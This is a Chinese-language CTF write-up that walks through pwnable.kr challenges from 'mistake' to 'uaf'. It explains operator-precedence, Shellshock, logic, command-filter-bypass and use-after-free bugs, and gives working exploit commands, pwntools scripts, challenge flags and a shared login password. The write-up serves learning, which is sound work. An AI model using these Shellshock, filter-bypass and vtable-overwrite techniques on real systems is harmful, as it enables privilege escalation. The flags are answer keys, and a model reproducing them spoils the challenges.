文章目录
第九题 mistake
^异或运算:相同为0不同为1,因此xor函数是将password中的1变成0,0变成1。
关键代码如下:
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
这道题实际上是利用符号优先级来解题。
在代码中,“<”符号的优先级是大于‘=’的,因此会导致上面的语句在执行流程如下:
- open(“/home/mistake/password”,O_RDONLY,0400) 返回一个值
- open返回值 < 0 进行判断并给出一个返回值
- fd=(open返回值 < 0)的比较结果
因此这里实际执行的是一个给fd赋值的情况,fd的值有两种情况,true(1)或false(0),而当fd的值为0时表示从键盘读入数据,而open这一条语句在程序中应该是能正常执行的,因此open函数会返回一个大于2的数num
- fd =(num<0 )=false=0
- 接下来执行读文件语句:
read(fd,pw_buf,PW_LEN)
fd=0 实际这里会直接从键盘读入pw_buf
注意
在此处,如果文件能进行正常读取文件则open的返回值为大于2的一个数(默认情况下,0,1,2这三个句柄对应的是标准输入,标准输出,标准错误,系统进程默认会打开0,1,2这三个文件描述符,而且指向了键盘和显示器的设备文件。
下面这个代码可以看到优先级,并不是把3赋值给a
在进行终端输入的时候由于它添加了一个sleep的休眠时间,因此在输入时可能误解为终端没有printf :input password是在休眠,但实际上这段时间是在等待用户输入后调用下面的read函数进行读取
综上,这里的pw_buf和pw_buf1实际都是用户在终端输入的,注意这里还对pw_buf1进行了一次异或操作。
过程如下:
总结
因此这道题原本的password和用户输入的password1都是可以由用户决定的,注意后面用户输入的password1还进行了一次异或操作,这里存在很多答案,如:
答案:
Mommy, the operator priority always confuses me :加(
这里:和(放一起会变成表情,复制的时候把中间的‘加’字删除就可以啦
第十题 shellshock
目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以
“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,
而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限
制边界,没有做合法化的参数判断,此漏洞会错误的将“{}”花括号外的命令进
行执行。
这个题利用了一个CVE的漏洞,利用的原理是代码注入导致的用户提权
这个题看了好几个帖子,还是没懂它的原理到底是什么,然后还去看了该题对应的漏洞依然有点一知半解,尝试着写一下个人的理解吧,首先记录一下这道题需要用到的两个知识点:
env指令
对于env指令,在定义环境变量时的格式为:
env key=value
key表示定义的环境变量的名称,而value表示内容,在表示环境变量时有以下几种表示方式:
env指令的使用
$variable_name
${variable_name}${variable_name} 语法还支持以下指定的一些标准 bash 修饰符
{variable:-word}:表示如果设置了 variable,那么结果就是那个值;如果未设置变量,则结果将是 word
${variable:+word}:表示如果设置了 variable,则结果为 word,否则为空字符串
在所有情况下, word 可以是任何字符串,包括额外的环境变量
但如果在定义完环境变量后存在指令,env是允许定义完环境变量后直接执行该指令的,这里就存在着代码注入的问题
bash指令
# 用于保证命令是bash shell来执行的
bash -c "执行命令"
Bash有两种执行命令的模式:批处理模式、并发模式。 要以批处理模式执行命令(即按照顺序),必须用;分隔
1command1 ; command2 在这个例子中,当command1执行完毕,即执行command2要并发执行两个命令,它们必须用&分隔
1 command1 & command2
在这种情况下,command1在后台执行(通过&),从而立即将控制返回到shell,以执行command2 总结:一般命令在前台执行(fg),执行完毕后,控制返回给用户。 在命令后面加上&,它会在后台执行(bg),并将特殊的环境变量$!设置为该任务的进程ID。这时shell可以并发执行其他命令。 按Ctrl+z可以挂起前台运行的程序 挂起的程序可以用fg恢复到前台,或者用bg恢复到后台 后台程序试图写入数据到终端设备时(与写入标准输出不同)可能被阻塞。 shell可以等待一个后台任务执行完成,只需使用wait命令,加上进程ID或者任务序号;也可以等待所有的后台任务,只需使用不加参数的wait
解题
这道题看了几篇帖子,答案有好几种,但基本格式都是差不多的,个人理解是这样的:
bash指令下在遇见(){}输入格式时bash不会直接退出,而是后执行env以后的指令,
在这道题中我们实际上只要只要flag就能知道答案,但是在当前我们的权限是shellshock,而flag需要的权限是shellshock_pwn,我们可以看到shellshock作为一个可执行文件,它拥有shellshock_pwn的权限,因此我们可以借助shellshock的执行来获取这个权限。
首先我们来看一个env指令的执行过程:
id指令可以用于查看进程的id,而在执行第二条指令和第4条指令之间差一个;bash,而导致的结果是进程的id也发生了变化,这是因为
对于env来说env x=‘() { :;}’ ./shellshock已经完整定义了环境变量,而添加bash表示在定义完变量后执行的指令,对于bash指令来说,在执行的时候它会创建一个子shell,应该就是相当于创建一个子进程,会复制父进程的env等信息,同时也会获得父进程的权限,通过以下代码也可以看出,在执行完bash指令后cat flag不会再报没有该权限的错误了。
后面的./shellshock是指在shellshock里面调用 bash。
答案:
#表示调用./shellshock后进入到bash状态
env x='() { :;}; bash' ./shellshock
cat flag
#或者 bin -c后面的指令应该用引号括起
#后面的./shellshock是指在shellshock里面调用 cat flag的。
这儿就涉及到一个权限问题,因为shellshock组是root权限,所以才能cat flag
env x='() { :;};bin -c "cat flag" ' ./shellshock
还有解答的时候遇见的几个错误:
x: line 0: syntax error near unexpected token
{: ' /home/shellshock/bash: x: line 0:
x () {:;}; bash -c “cat ./flag” ’
/home/shellshock/bash: error importing function definition for `x’
这个的原因是因为少了{}少了一个空格
而如果不报错却没有正常显示flag的原因则是()和{}之间少了一个空格(真的好费力):
第十一题 coin1
参考链接(这个链接的代码写的比较简单)
哇,看到这道题的时候立马就想到了折半查找和2的n此方,但是时间只有1min,要完成输入可真的是太难了,开始怀疑这道题考的难道是代码输入和读取数据交互?这,想想有点痛苦呀!
先去学一学需要用到的一些函数吧!
findall(pattern, string, flags=0) 函数
返回string中所有与pattern匹配的全部字符串,返回形式为数组,flag=0可省略此处可以用于查找数字类型,但需要注意返回的格式依然是字符的形式
re.findall(r'\d+',str)
#其中\d表示单个数字,\d+则是只要数字之间没有空格或字符串就认为其是一串数字
map函数
由于findall返回的数据类型依然是字符串类型,因此需要将其强制转换为int类型,可以直接用int(N),也可以考虑使用map
map() 会根据提供的函数对指定序列做映射
#map函数格式:
map(function, iterable, ...)
#作用是对iterable中的每个数据都去执行一次funciton操作,如:(square用于求平方)
map(square, [1,2,3,4,5])
#这里直接使用map对每个数据强制int
map(int,refindall('\d+',str))
str.join(value)
该函数用于将value的每一位值中间都加一个str,value可以是一个字符串或者列表,字典,数组,但注意就算是列表,字典,数组,里面的元素也只能是字符串类型。表示用str将value对应的数据隔开,如果value是字符串类型,则是将字符串中的每个字符用str隔开,如果是列表、字典、数组则是将其中的每个数据用str连接在一起
pwn接收和传送数据
接下来是pwn的接收和传递数据的函数:
此链接
send(data): 发送数据
sendline(data) : 发送一行数据,相当于在末尾加\n
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
recvuntil(delims, drop=False) : 一直接收直到接收到delims后停止(以下可以看作until的特例)
recvline(keepends=True) : 接收到\n,keepends指定保留\n recvall() : 接收到EOF
recvrepeat(timeout=default) : 接收到EOF或timeout interactive() : 与shell交互
答题过程
由于没有仔细读题,导致以为只要第一次输入了正确答案就可以给出flag,然而实际上题目说的是要成功输入100次以后才会给出正确的flag,而尝试了一下如果在本地端传送答案的话最多只能进行20次。
然后看了另一个帖子:
发现从远程终端运行exp,查找过程比较慢(这个情况程序在玩法提示信息中也有说明),可以利用linux系统的/tmp目录本地执行exp;题目未给远程账户,因此,使用其他题目提供的账户如:col@pwnable.kr,使用下面的命令将exp上传到服务器/tmp目录:
scp -P 2222 coin_exp.py col@pwnable.kr:/tmp
原文链接:https://blog.csdn.net/neuisf/article/details/103751648
但是我尝试了一下,在连接的时候显示没有权限。
算了,那就直接先登录该账户,然后创建一个py文件把代码粘贴进去再运行也可以嘛,于是直接在用户端输入以下代码登录远程账号:
ssh col@pwnable.kr -p2222
#密码 guest
cd /tmp
vi python.py
#接下来就会打开一个可编译文件python.py,将下面的代码粘贴并保存即可
python python.py
from pwn import *
import re
sh=remote("localhost",9007)
sh.recvuntil("- Ready? starting in 3 sec... -\n\t\n")
for t in range(0,100): #要执行100次才能得到答案
value=sh.recv().decode("utf-8")
print("value"+value)
N, C=map(int,re.findall(r'\d+',value))
left=0
right=N
flag=0
while(C):
if flag==0:
mid=(left+right)//2
# mid=(mid==left)?right:mid
sh.sendline(" ".join([str(i) for i in range(left,mid)]))
sum_value=int(sh.recvline().decode("utf-8"))
if sum_value%10==0:
if right-1==mid:
answer=mid
flag=1
left=mid
else:
if left+1==mid:
answer=left
flag=1
right=mid
else:
sh.sendline(str(answer))
sum_value=int(sh.recvline().decode("utf-8"))
C-=1
sh.sendline(str(answer))
print(t,sh.recvline())
print(sh.recv())
sh.close()
答案如下:
答案:b1NaRy_S34rch1nG_1s_3asy_p3asy
至此,这道题的所有知识点也基本讲完了。
第十二题 blackjack
解题链接
这道题的代码已经看不到了,但是搜了一下其他人的帖子,原理就一个,在进行输入bet的时候第一次进行了判断而第二次则直接默认用户输入的是满足条件的而不会再进行判断,因此可以抓住这个漏洞进行利用:
然后本题的核心是如果赢了是cash+bet,输了则是cash-bet,在这里我们就可以输入一个负数进去。
同时这里尝试了一下,程序本身可能会进行一个判断,如果你选择一直Hit,在bet的时候输入的是一个负数,那么你很可能会赢,而如果你输入一个正数,很大概念会输,实际上在解答的时候还有一个选择,就是直接选择Stay,这样基本都是输,因此解答过程如下:
flag:YaY_I_AM_A_MILLIONARE_LOL
第十三题 lotto
这道题实际上就利用了一个代码漏洞,两次for循环会导致如果lotto中 如果一个字符一直出现在submit中,那么match就会一直++,也就是如果submit中出现了lotto中的一个字符出现了6次的话,那么match也会满足条件。
编写的py文件由于只能放在tmp的目录下,因此在该目录下还需要建立一个软链接,将flag链接到该目录才能执行:
ln -s /home/lotto/flag flag
python filename.py #将下面的代码复制到filename.py下就能执行了
代码
from pwn import *
# local
p = process('/home/lotto/lotto')
for i in range(100):
p.recv()
p.sendline('1')
p.recv()
p.sendline('&&&&&')
p.recvline()
answer = p.recvline()
print(answer)
if "mom" in answer: #答案中存在的内容,原链接用的"bad" not in answer在执行过程中可能遇到错误退出
print(answer)
break
flag :sorry mom… I FORGOT to check duplicate numbers… 😦
第十四题 cmd1
解题链接
这个题直接借助了另一个文件来执行打印flag,没什么知识点,上面的答案也给了我另一个思路,建立软链接来执行:
前面我们已经学了软链接,这里也可以采用软链接的方法,将flag改个名字来执行,这样也能实现:
flag:mommy now I get what PATH environment is for 😃
第十五题 cmd2
这道题在进行判断时还加入了对字符’/’的判断,因此软链接用不上了,同时也试了一下是否存在env漏洞,发现并不存在。
这道题可以看看这个链接给了三个方法,但是第一个方法我没跑出来,然后其余两种方法分别对应两个知识点。
- echo $
第一种解法使用的命令如下:
./cmd2 '$(read x; echo $x)'
/bin/cat flag
这种方法首先将’$(read x; echo $x)'作为参数传递给cmd2,然后cmd2执行过程中会首先执行read x,读取下面的输入,接下来会执行echo $ x,而$ x表示将x表示的值给打印出来,也就会打印出输入的/bin/cat flag,而外围的$则表示这是一个命令,因此执行/bin/cat flag,从而打印出flag的值。
这里学到的就是 echo $ x 用于打印x表示的变量
- pwd
在另一种解法中直接使用了pwd可以用于打印当前路径的特点,直接进入目录/下就可以使用pwd命令来代替’/'了
答案:
cd /
./home/cmd2/cmd2 '""$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*""'
这个答案需要主要的是需要有一个‘’和两个“””,首先‘’用于避免答案在输入的时候就被解释,‘’可以告诉程序这是一个单一字符,不会被解析,而使用两个“”是因为在读取字符串的时候,程序会自动去掉第一个“”,而在执行命令时第二个双引号可以起到补全flag(避免在第一次搜索时被搜到)的作用。
单引号的作用:
接下来看看单个双引号和两个双引号的区别:
文中还给出了另一种方法,试了一下,在终端是直接可以运行python命令的,因此,此处使用python打印字符串的方式来传参,但需要注意的是使用python的命令需要用()包起来,‘/’的asc码为57
./cmd2 '$(printf "%bbin%bcat %s" "\57" "\57" "fl*")'
flag:FuN_w1th_5h3ll_v4riabl3s_haha
第十六题 uaf
这道题考的是uaf的原理,uaf(use after free)也就是在释放后未将指向原内存的指针置为null,并在接下来的过程中使用到了该指针。
在main函数中可以看到这个判断:
利用uaf的原理我们可以先输入3free内存m和w,然后再输入2分配空间和读取数据,由于在2分配的时候会先分配w的内存,而我们在将introduce替换为give_shell函数的时候使用的是m的内存,因此要申请两次分配内存才能获取3释放的m的内存,接下来再调用1对内存进行使用。同时我们希望将对introduce的调用替换为give_shell,使用radare2可以直接查看地址和对文件进行二进制的反汇编。具体过程如下:
- 将uaf下载到本地
scp -P 2222 uaf@pwnable.kr:/home/uaf/uaf /tmp
cd /home/user/
cd /tmp
- 使用radare2调试
r2 -A ./uaf
av
#av 用于查看虚函数表地址
接下来查看main函数中introduce函数的调用和case函数
s main
pdf
红色方框框的是case1调用introduce的情况,程序会将rax+8=introduce的地址,因此我们调用give_shell函数的时候需要将其地址减8写入2的读取文件中。
使用av查看虚表地址时可以看到三个give_shell的地址,使用任何一个地址减8都可以。
edi表示地址偏移量,可以知道在创建w和m指针时申请的内存都是24的长度
//将字符串输入/tmp/uaf_21文本文件
python -c 'print "\x48\x15\x40\x00\x00\x00\x00\x00"' >/tmp/uaf_21
//或
python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"' >/tmp/uaf_21
//或
python -c 'print "\x88\x15\x40\x00\x00\x00\x00\x00"' >/tmp/uaf_21
//运行uaf程序并从/tmp/uaf_21文件读取24个字符
./uaf 24 /tmp/uaf_21
//接下来分别输入3释放空间;
3
//两次申请内存
2
2
// 调用函数
1
//查看flag
cat flag
: